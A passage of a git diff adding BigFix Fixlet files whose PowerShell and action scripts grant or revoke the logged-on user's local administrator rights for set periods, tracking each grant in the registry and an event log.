+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25205">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for 1 day.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 1*day}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25206">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for&amp;nbsp;5 days.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 5*day}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25207">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights permanently.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 1000000*week}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators - Windows (24405).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators - Windows (24405).bes
new file mode 100644
index 000000000..0ba034e3c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators - Windows (24405).bes	
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current User to Administrators - Windows
+  ID       : 24405
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-06-06T09:51:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current User to Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet adds the currently logged on user to the Administrators group.</P>
+<P><STRONG>Applicability Note: </STRONG>This Fixlet will only be relevant if the currently logged on user is not a part of the Administrators group. This Fixlet will not be relevant if the currently logged on user is a&nbsp;part of a group that is part of the Administrators Group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );(  set of (/*Users and Groups in Administrators */   sids of members of local group &quot;administrators&quot; as string)  )  )</Relevance>
+    <Category>Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait net localgroup &quot;administrators&quot; &quot;{sid of current user}&quot; /add</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators Temporarily - Windows (21369).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators Temporarily - Windows (21369).bes
new file mode 100644
index 000000000..3787d7f66
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators Temporarily - Windows (21369).bes	
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current User to Administrators Temporarily - Windows
+  ID       : 21369
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-01T07:37:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current User to Administrators Temporarily - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet can be paired with the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to temporarily grant users administrative rights to workstations.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>not exists members whose (sid of it = sid of logged on user) of local group &quot;administrators&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 1 hour.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
+
+parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * hour)}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * hour)}&quot;
+
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action22270">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 8 hours. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
+
+parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (8 * hour)}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (8 * hour)}&quot;
+
+</ActionScript>
+    </Action>
+    <Action ID="Action22271">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 1 day. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
+
+parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * day)}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * day)}&quot;
+
+</ActionScript>
+    </Action>
+    <Action ID="Action22272">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for&amp;nbsp;5 days. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
+
+parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (5 * day)}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (5 * day)}&quot;
+
+</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Authorized Requestors - Windows (24154).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Authorized Requestors - Windows (24154).bes
new file mode 100644
index 000000000..c09ade979
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Authorized Requestors - Windows (24154).bes	
@@ -0,0 +1,186 @@
+<?xml version="1.0" encoding="UTF-8"?>
